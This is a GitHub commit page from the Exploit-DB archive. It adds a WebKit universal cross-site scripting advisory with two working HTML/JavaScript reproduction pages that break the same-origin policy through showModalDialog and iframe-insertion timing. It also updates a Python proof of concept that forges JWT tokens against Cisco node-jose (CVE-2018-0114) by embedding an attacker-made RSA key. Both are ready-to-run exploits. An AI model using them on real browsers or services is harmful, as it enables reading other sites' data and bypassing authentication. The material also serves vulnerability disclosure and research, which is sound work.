Skip to content

Commit

Permalink
DB: 2019-07-26
Browse files Browse the repository at this point in the history
4 changes to exploits/shellcodes

WebKit - Universal Cross-Site Scripting due to Synchronous Page Loads
Ovidentia 8.4.3 - Cross-Site Scripting
Ovidentia 8.4.3 - SQL Injection
  • Loading branch information
Offensive Security committed Jul 26, 2019
1 parent f529fc0 commit f671a16
Show file tree
Hide file tree
Showing 5 changed files with 389 additions and 28 deletions.
240 changes: 240 additions & 0 deletions exploits/multiple/dos/47162.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,240 @@
BACKGROUND
As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121,
WebKit's support of the obsolete `showModalDialog` method gives an attacker the ability to perform
synchronous cross-origin page loads. In certain conditions, this might lead to
time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In
particular, the original bug exploited a TOCTOU bug in `SubframeLoader::requestFrame` to achieve
UXSS.

(copied from lokihardt's report)
```
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
// Support for <frame src="javascript:string">
URL scriptURL;
URL url;
if (protocolIsJavaScript(urlString)) {
scriptURL = completeURL(urlString); // completeURL() encodes the URL.
url = blankURL();
} else
url = completeURL(urlString);

if (shouldConvertInvalidURLsToBlank() && !url.isValid())
url = blankURL();

Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
if (!frame)
return false;

if (!scriptURL.isEmpty())
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom

return true;
}
```

The bug was fixed by inserting an extra access check right in front of the `executeIfJavaScriptURL`
call.
```
- if (!scriptURL.isEmpty())
+ if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
frame->script().executeIfJavaScriptURL(scriptURL);
```

It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203
was reported, which abused the HTML parser to bypass the added check. The problem was that
`isURLAllowed` didn't block `javascript:` URIs when the JavaScript execution context stack was
empty, i.e. when the `requestFrame` call was originating from the parser, so the exploit just needed
to make the parser insert an `iframe` element with a `javascript:` URI and use its `onload` handler
to load a cross-origin page inside `loadOrRedirectSubframe`.

As a result, another check has been added (see the comment below):
```
+ bool hasExistingFrame = ownerElement.contentFrame();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList);
if (!frame)
return false;

- if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
+ // If we create a new subframe then an empty document is loaded into it synchronously and may
+ // cause script execution (say, via a DOM load event handler) that can do anything, including
+ // navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated.
+ bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL());
+ if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL))
frame->script().executeIfJavaScriptURL(scriptURL);
```

VULNERABILITY DETAILS
The second fix relies on the assumption that the parser can't trigger a `requestFrame` call for an
`iframe` element with an existing content frame. However, due to the way the node insertion
algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in
progress:

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185
```
static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child,
ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion)
{
NodeVector postInsertionNotificationTargets;
{
ScriptDisallowedScope::InMainThread scriptDisallowedScope;

if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree()))
containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval();

doNodeInsertion();
ChildListMutationScope(containerNode).childAdded(child);
postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child);
}

[...]

ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child));
for (auto& target : postInsertionNotificationTargets)
target->didFinishInsertingNode();
[...]
```

Note that `HTMLFrameElementBase::didFinishInsertingNode` eventually calls `requestFrame`. So, if a
subtree which is being inserted contains multiple `iframe` elements, the first one can act as a
trigger for the JavaScript code that creates a content frame for another element right before its
`requestFrame` method is executed to bypass the `canExecuteScript` check. `isURLAllowed` again can
be tricked with the help of the HTML parser.

It's also worth noting that the `showModalDialog` method has to be triggered by a user gesture. On
the other hand, an attacker can't just wrap the exploit in a `click` event handler, as it would put
an execution context on the stack and make the `isURLAllowed` check fail. One way to overcome this
is to save a gesture token by performing an asynchronous load of a `javascript:` URI.

VERSION
Safari 12.0.3 (14606.4.5)
WebKit r243998

REPRODUCTION CASE
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run() {
if (++counter == 2) {
parent_frame = frame.contentDocument.querySelector("iframe");
frame1 = parent_frame.appendChild(document.createElement("iframe"));
frame2 = parent_frame.appendChild(document.createElement("iframe"));
frame1.src = "javascript:top.runChild()";
}
}

let child_counter = 0;
function runChild() {
if (++child_counter == 2) {
parent_frame.appendChild(frame2);

a = frame2.contentDocument.createElement("a");
a.href = cache_frame.src;
a.click();

showModalDialog(URL.createObjectURL(new Blob([`
<script>
let intervalID = setInterval(() => {
try {
opener.frame.document.foo;
} catch (e) {
clearInterval(intervalID);

window.close();
}
}, 100);
</scr` + "ipt>"], {type: "text/html"})));
frame2.src = "javascript:alert(document.documentElement.outerHTML)";
}
}

onclick = _ => {
frame = document.body.appendChild(document.createElement("iframe"));
frame.contentWindow.location = `javascript:'<b><p><iframe`
+ ` src="javascript:top.run()"></iframe></b></p>'`;
}

cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>


From WebKit's bugtracker:

Unfortunately, even though the patch from https://trac.webkit.org/changeset/244892/webkit
has blocked the original repro case because it relies on executing javascript: URIs synchronously,
the underlying issue is still not fixed.

Currently, `requestFrame` is implemented as follows:
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
[...]
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); // ***1***
if (!frame)
return false;

if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) {
// FIXME: Some sites rely on the javascript:'' loading synchronously, which is why we have this special case.
// Blink has the same workaround (https://bugs.chromium.org/p/chromium/issues/detail?id=923585).
if (urlString == "javascript:''" || urlString == "javascript:\"\"")
frame->script().executeIfJavaScriptURL(scriptURL);
else
frame->navigationScheduler().scheduleLocationChange(ownerElement.document(), ownerElement.document().securityOrigin(), scriptURL, m_frame.loader().outgoingReferrer(), lockHistory, lockBackForwardList, stopDelayingLoadEvent.release()); // ***2***
}

return true;
}

By the time the subframe loader schedules a JS URI load in [2], the frame might already contain a
cross-origin victim page loaded in [1], so the JS URI might get executed in the cross-origin
context.

Updated repro:
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run(event) {
++counter;
if (counter == 2) {
event.target.src = "javascript:alert(document.documentElement.outerHTML)";
} else if (counter == 3) {
frame = event.target;

a = frame.contentDocument.createElement("a");
a.href = cache_frame.src;
a.click();

showModalDialog(URL.createObjectURL(new Blob([`
<script>
let intervalID = setInterval(() => {
try {
opener.frame.document.foo;
} catch (e) {
clearInterval(intervalID);

window.close();
}
}, 100);
</scr` + "ipt>"], {type: "text/html"})));
}
}

onclick = _ => {
frame = document.body.appendChild(document.createElement("iframe"));
frame.contentWindow.location = `javascript:'<b><p><iframe`
+ ` onload="top.run(event)"></iframe></b></p>'`;
}

cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>

I'd recommend you consider applying a fix similar to the one that the Blink team has in
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/html_frame_element_base.cc?rcl=d3f22423d512b45466f1694020e20da9e0c6ee6a&l=62,
i.e. using the frame's owner document as a fallback for the security check.
63 changes: 35 additions & 28 deletions exploits/multiple/webapps/44324.py
Original file line number Diff line number Diff line change
@@ -1,14 +1,20 @@
#!/usr/bin/env python3

import base64
import urllib
from urllib.parse import quote_plus
import rsa
import sys

#zi0Black

'''
EDB Note: This has been updated ~ https://github.com/offensive-security/exploitdb/pull/139
POC of CVE-2018-0114 Cisco node-jose <0.11.0
Example: python3 44324.py "mypayload" 512
Created by Andrea Cappa aka @zi0Black (GitHub,Twitter,Telegram)
Enhanced for python3 by github.com/eshaan7
Mail: a.cappa@zioblack.xyz
Site: https://zioblack.xyz
Expand All @@ -20,63 +26,64 @@
'''

def generate_key (key_size):
def generate_key(key_size):
#create rsa priv & public key
print ("[+]Creating-RSA-pair-key")
(public_key,private_key)=rsa.newkeys(key_size,poolsize=8)
(public_key,private_key) = rsa.newkeys(key_size,poolsize=8)
print ("\t[+]Pair-key-created")
return private_key, public_key

def to_bytes(n, length, endianess='big'):
h = '%x' % n
s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
return s if endianess == 'big' else s[::-1]
def pack_bigint(i):
b = bytearray()
while i:
b.append(i & 0xFF)
i >>= 8
return b[::-1]

def generate_header_payload(payload,pubkey):
#create header and payload
print ("[+]Assembling-the-header-and-the-payload")
xn = pubkey.n
xe = pubkey.e
n=base64.urlsafe_b64encode(to_bytes(xn,sys.getsizeof(xn),'big'))
e=base64.urlsafe_b64encode(to_bytes(xe,sys.getsizeof(xe),'big'))
headerAndPayload = base64.b64encode('{"alg":"RS256",'
n=base64.urlsafe_b64encode(pack_bigint(pubkey.n)).decode('utf-8').rstrip('=')
e=base64.urlsafe_b64encode(pack_bigint(pubkey.e)).decode('utf-8').rstrip('=')
headerAndPayload = base64.b64encode(('{"alg":"RS256",'
'"jwk":{"kty":"RSA",'
'"kid":"topo.gigio@hackerzzzz.own",'
'"use":"sig",'
'"n":"'+n+'",'
'"e":"'+e+'"}}')
headerAndPayload=headerAndPayload+"."+base64.b64encode(payload)
headerAndPayload = headerAndPayload.encode('utf-8').replace("=","")
'"e":"'+e+'"}}').encode())
headerAndPayload = headerAndPayload+b"."+base64.b64encode(payload)
headerAndPayload = headerAndPayload
print ("\t[+]Assembed")
return headerAndPayload

def generate_signature (firstpart,privkey):
def generate_signature(firstpart,privkey):
#create signature
signature = rsa.sign(firstpart,privkey,'SHA-256')
signatureEnc = base64.b64encode(signature).encode('utf-8').replace("=", "")
signatureEnc = base64.b64encode(signature)
print ("[+]Signature-created")
return signatureEnc

def create_token(headerAndPayload,sign):
print ("[+]Forging-of-the-token\n\n")
token = headerAndPayload+"."+sign
token = urllib.quote_plus(token)
token = (headerAndPayload+b"."+sign).decode('utf-8').rstrip('=')
token = quote_plus(token)
return token


if(len(sys.argv)>0):
payload = str(sys.argv[1])
key_size = sys.argv[2]
payload = bytes(str(sys.argv[1]).encode('ascii'))
key_size = int(sys.argv[2])
else:
payload = 'somthings'
payload = b'admin'
key_size = int(512)


banner="""
_____ __ __ ______ ___ ___ __ ___ ___ __ __ _ _
/ ____| \ \ / / | ____| |__ \ / _ \ /_ | / _ \ / _ \ /_ | /_ | | || |
| | \ \ / / | |__ ______ ) | | | | | | | | (_) | ______ | | | | | | | | | || |_
_____ __ __ ______ ___ ___ __ ___ ___ __ __ _ _
/ ____| \ \ / / | ____| |__ \ / _ \ /_ | / _ \ / _ \ /_ | /_ | | || |
| | \ \ / / | |__ ______ ) | | | | | | | | (_) | ______ | | | | | | | | | || |_
| | \ \/ / | __| |______| / / | | | | | | > _ < |______| | | | | | | | | |__ _|
| |____ \ / | |____ / /_ | |_| | | | | (_) | | |_| | | | | | | |
\_____| \/ |______| |____| \___/ |_| \___/ \___/ |_| |_| |_| by @zi0Black
| |____ \ / | |____ / /_ | |_| | | | | (_) | | |_| | | | | | | |
\_____| \/ |______| |____| \___/ |_| \___/ \___/ |_| |_| |_| by @zi0Black
"""

if __name__ == '__main__':
Expand Down
Loading

0 comments on commit f671a16

Please sign in to comment.